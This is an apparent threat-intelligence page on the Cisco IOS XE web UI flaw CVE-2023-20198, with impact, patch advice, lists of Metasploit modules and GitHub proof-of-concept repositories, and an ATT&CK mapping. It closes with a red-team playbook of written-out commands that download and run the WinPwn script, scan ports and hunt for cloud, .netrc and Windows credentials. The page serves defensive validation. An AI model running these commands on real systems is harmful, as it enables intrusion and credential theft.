CVE-2023-20198

CRITICAL CISA KEV EXPLOIT POC TTE Zero-Day Pub 16/10 Upd 21/10

Overview

This vulnerability is a command injection flaw caused by improper input validation within the web UI component of Cisco IOS XE Software. The root cause lies in the web services management agent (wsma-exec) that processes SOAP requests without adequate sanitization. Specifically, crafted HTTP POST requests targeting the web UI's SOAP-based execCLI interface enable injection of arbitrary commands. The affected component is the web UI feature responsible for remote management and command execution.

Vulnerability Description

Cisco is providing an update for the ongoing investigation into observed exploitation of the web UI feature in Cisco IOS XE Software. We are updating the list of fixed releases and adding the Software Checker. Our investigation has determined that the actors exploited two previously unknown issues. The attacker first exploited CVE-2023-20198 to gain initial access and issued a privilege 15 command to create a local user and password combination. This allowed the user to log in with normal user access. The attacker then exploited another component of the web UI feature, leveraging the new local user to elevate privilege to root and write the implant to the file system. Cisco has assigned CVE-2023-20273 to this issue. CVE-2023-20198 has been assigned a CVSS Score of 10.0. CVE-2023-20273 has been assigned a CVSS Score of 7.2. Both of these CVEs are being tracked by CSCwh87343.

Impact

An unauthenticated attacker can execute arbitrary commands with root-level privileges on the underlying operating system of affected Cisco IOS XE devices. This allows creation of local users with elevated privileges, installation of persistent implants, and full compromise of the device. The attacker gains complete control over network traffic managed by the device, enabling data exfiltration, network manipulation, or service disruption. No user interaction or prior access is needed to exploit this vulnerability, making it highly critical in operational environments.

Solution

Cisco has released updated software versions addressing these vulnerabilities in Cisco IOS XE Software. Administrators should apply the patches as outlined in Cisco Security Advisory cisco-sa-iosxe-webui-privesc-j22SaA4z. The advisory provides a list of fixed releases and includes a Software Checker tool to verify patch status. It is recommended to follow the official Cisco update process to ensure all affected devices are remediated promptly.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability affecting Cisco IOS XE Software and certain Rockwell Automation products presents a critical security risk due to its exploitation of the web UI feature. This vulnerability allows an attacker to gain unauthorized access and escalate privileges within the affected systems. The initial exploitation occurs through the web interface, where the attacker can execute commands at privilege level 15, which is the highest level of access. This capability enables the creation of a local user account with a custom password, granting the attacker normal user access. Subsequently, the attacker can leverage this account to exploit another component of the web UI, allowing for privilege escalation to root and the ability to write malicious implants to the file system.

Attack vectors for this vulnerability are particularly concerning due to the ease with which they can be executed. An attacker with network access to the affected devices can exploit the web UI without requiring physical access. This remote exploitation capability means that organizations could be targeted from anywhere in the world, making it imperative for network administrators to be vigilant. Once the attacker gains initial access, the process of creating a local user and escalating privileges can be automated, allowing for rapid compromise of multiple devices. This scenario underscores the importance of securing web interfaces and monitoring for unusual access patterns.

The real-world impact of this vulnerability is severe, especially for organizations relying on Cisco IOS XE Software for critical infrastructure. The ability to escalate privileges and implant malicious software can lead to significant operational disruptions, data breaches, and potential financial losses. The exploitation of such vulnerabilities can also result in reputational damage, as customers and stakeholders may lose trust in an organization’s ability to protect sensitive information. Furthermore, the presence of this vulnerability in widely used networking equipment could have cascading effects, potentially impacting entire supply chains and critical services.

To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching affected systems is essential, as Cisco has provided updates to address the identified issues. Network administrators should also employ intrusion detection systems to monitor for unusual activity, particularly around the web UI access. Implementing strict access controls and employing network segmentation can help limit the potential attack surface. Additionally, organizations should conduct regular security assessments and penetration testing to identify and remediate vulnerabilities before they can be exploited.

In conclusion, the vulnerability affecting Cisco IOS XE Software and related products represents a critical threat that necessitates immediate attention from organizations. The ease of exploitation and potential for significant impact make it imperative for businesses to prioritize security measures. By adopting proactive detection and mitigation strategies, organizations can better protect their networks and reduce the risk of unauthorized access and privilege escalation. The ongoing vigilance in monitoring and securing web interfaces will be crucial in safeguarding against this and similar vulnerabilities in the future.




CSURFACE threat intelligence has detected a slight increase in exploitation attempts targeting CVE-2023-20198, accompanied by the emergence of new publicly available proof-of-concept tools that enhance attacker capabilities, including user management and command execution on affected Cisco IOS XE devices. This development broadens the exploit landscape, lowering the technical barriers for threat actors to conduct sophisticated intrusions. Although ransomware groups have not been definitively linked to this vulnerability, the presence of the Akira group in related activity underscores the potential for this exploit to be leveraged in broader attack campaigns. Our telemetry indicates that while the overall exploitation trend remains stable, the incremental rise in activity and tool availability elevates the risk profile, warranting continued vigilance. Consequently, the threat level should be considered heightened due to increased ease of exploitation and expanding attacker resources.

Affected Products (6)

Vendor Product Version CPE
rockwellautomation Rockwellautomation Allen-Bradley Stratix 5200 Firmware All cpe:2.3:o:rockwellautomation:allen-bradley_stratix_5200_firmware:*:*:*:*:*:*:*:*
rockwellautomation Rockwellautomation Allen-Bradley Stratix 5800 Firmware All cpe:2.3:o:rockwellautomation:allen-bradley_stratix_5800_firmware:*:*:*:*:*:*:*:*
cisco Cisco Ios Xe All cpe:2.3:o:cisco:ios_xe:*:*:*:*:*:*:*:*
cisco Cisco Ios Xe All cpe:2.3:o:cisco:ios_xe:*:*:*:*:*:*:*:*
cisco Cisco Ios Xe All cpe:2.3:o:cisco:ios_xe:*:*:*:*:*:*:*:*
cisco Cisco Ios Xe All cpe:2.3:o:cisco:ios_xe:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (3)

Module Authors Rank Platform Link
Cisco IOX XE unauthenticated OS command execution
auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273
sfewer-r7 Unknown - View
Cisco IOX XE unauthenticated Command Line Interface (CLI) execution
auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198
sfewer-r7 Unknown - View
Cisco IOX XE Unauthenticated RCE Chain
exploits/linux/misc/cisco_ios_xe_rce
sfewer-r7 Unknown - View

GitHub PoCs (36)

Repository Author Stars Forks Date Link
smokeintheshell/CVE-2023-20198
CVE-2023-20198 Exploit PoC
smokeintheshell 65 19 2023-11-16 View
W01fh4cker/CVE-2023-20198-RCE
CVE-2023-20198-RCE, support adding/deleting users and executing cli commands/system commands.
W01fh4cker 42 10 2024-04-25 View
fox-it/cisco-ios-xe-implant-detection
Cisco IOS XE implant scanning & detection (CVE-2023-20198, CVE-2023-20273)
fox-it 41 9 2023-10-23 View
ZephrFish/CVE-2023-20198-Checker
CVE-2023-20198 & 0Day Implant Scanner
ZephrFish 33 11 2023-10-17 View
Shadow0ps/CVE-2023-20198-Scanner
This is a webshell fingerprinting scanner designed to identify implants on Cisco IOS XE WebUI's affected by CVE-2023-201...
Shadow0ps 33 6 2023-10-23 View
Atea-Redteam/CVE-2023-20198
CVE-2023-20198 Checkscript
Atea-Redteam 20 15 2023-10-17 View
Tounsi007/CVE-2023-20198
CVE-2023-20198 PoC (!)
Tounsi007 11 6 2023-10-18 View
Pushkarup/CVE-2023-20198
A PoC for CVE 2023-20198
Pushkarup 8 6 2023-10-23 View
iveresk/cve-2023-20198
1vere$k POC on the CVE-2023-20198
iveresk 6 5 2023-10-20 View
RevoltSecurities/CVE-2023-20198
An Exploitation script developed to exploit the CVE-2023-20198 Cisco zero day vulnerability on their IOS routers
RevoltSecurities 7 2 2023-11-03 View
sohaibeb/CVE-2023-20198
CISCO CVE POC SCRIPT
sohaibeb 4 2 2023-10-20 View
G4sul1n/Cisco-IOS-XE-CVE-2023-20198
Exploit PoC for CVE-2023-20198
G4sul1n 3 0 2025-04-11 View
alekos3/CVE_2023_20198_Detector
This script can identify if Cisco IOS XE devices are vulnerable to CVE-2023-20198
alekos3 2 1 2023-10-18 View
securityphoenix/cisco-CVE-2023-20198-tester
cisco-CVE-2023-20198-tester
securityphoenix 1 2 2023-10-17 View
Vulnmachines/Cisco_CVE-2023-20198
Cisco CVE-2023-20198
Vulnmachines 2 1 2023-12-11 View
mr-r3b00t/CVE-2023-20198-IOS-XE-Scanner
mr-r3b00t 2 0 2023-10-25 View
kacem-expereo/CVE-2023-20198
Check a target IP for CVE-2023-20198
kacem-expereo 1 0 2023-10-24 View
djayaGit/cve-2023-20198-poc-cisco
CVE-2023-20198是思科IOS XE软件Web UI功能中的一个严重漏洞,允许未经身份验证的远程攻击者在受影响的系统上创建具有特权级别15的账户,从而完全控制设备。
djayaGit 1 0 2024-11-23 View
emomeni/Simple-Ansible-for-CVE-2023-20198
emomeni 1 0 2023-10-17 View
IceBreakerCode/CVE-2023-20198
IceBreakerCode 1 0 2023-10-25 View
abrahamsurf/CVE-2023-20198-Scanner
abrahamsurf 0 0 2026-07-08 View
charlesjson/CVE-2023-20198
charlesjson 0 0 2026-06-25 View
DOMINIC471/qub-network-security-cve-2023-20198
Analysis, detection, and mitigation of CVE-2023-20198 exploitation in Cisco IOS XE – QUB CSC3064 Network Security Assess...
DOMINIC471 0 0 2025-05-15 View
AjayKalbhile/Cisco-SD-WAN-Auth-Bypass-Pentest
CVE-2023-20198 Authorized Pentest Report | CVSS 9.8
AjayKalbhile 0 0 2026-04-20 View
telly251/forwardnetworksdemo
Demo to remediate CVE-2023-20198 using forward networks and tines
telly251 0 0 2026-04-10 View
Gill-Singh-A/CVE-2023-20198-Exploit
Proof-of-concept exploit for CVE-2023-20198, an authentication bypass vulnerability affecting Cisco IOS XE Web UI
Gill-Singh-A 0 0 2026-02-17 View
gustavorobertux/cisco-cve-2023-20198-checker
gustavorobertux 0 0 2026-03-08 View
netbell/CVE-2023-20198-Fix
Check for and remediate conditions that make an IOS-XE device vulnerable to CVE-2023-20198
netbell 0 0 2023-12-08 View
Arshit01/CVE-2023-20198
Arshit01 0 0 2025-06-09 View
Religan/CVE-2023-20198
A cybersecurity case study analysing CVE-2023-20198 in Cisco IOS XE, covering vulnerability exploitation, mitigation str...
Religan 0 0 2025-12-15 View
JoyGhoshs/CVE-2023-20198
Checker for CVE-2023-20198 , Not a full POC Just checks the implementation and detects if hex is in response or not
JoyGhoshs 0 0 2023-10-18 View
raystr-atearedteam/CVE-2023-20198-checker
raystr-atearedteam 0 0 2023-10-17 View
ohlawd/CVE-2023-20198
ohlawd 0 0 2023-10-25 View
sanan2004/CVE-2023-20198
sanan2004 0 0 2024-08-26 View
reket99/Cisco_CVE-2023-20198
reket99 0 0 2023-10-20 View
AhmedMansour93/Event-ID-193-Rule-Name-SOC231-Cisco-IOS-XE-Web-UI-ZeroDay-CVE-2023-20198-
🚨 Just completed a detailed investigation for Event ID 193: "SOC231 - Cisco IOS XE Web UI ZeroDay (CVE-2023-20198)" via ...
AhmedMansour93 0 0 2024-09-13 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

34 events
2026-07-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-01
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-28
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-26
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-18
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-16
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-15
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-14
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-11
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2023-10-17
PoC Published (36 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2023-10-16
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2023-10-16
Exploit Published (0 ExploitDB, 3 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Privilege Escalation
82% privilege_escalation
Authentication Bypass
46% auth_bypass
Insecure Direct Object Reference
43% idor

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2023-20198
sec.cloudapps.cisco.com
GitHub CVE
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-20198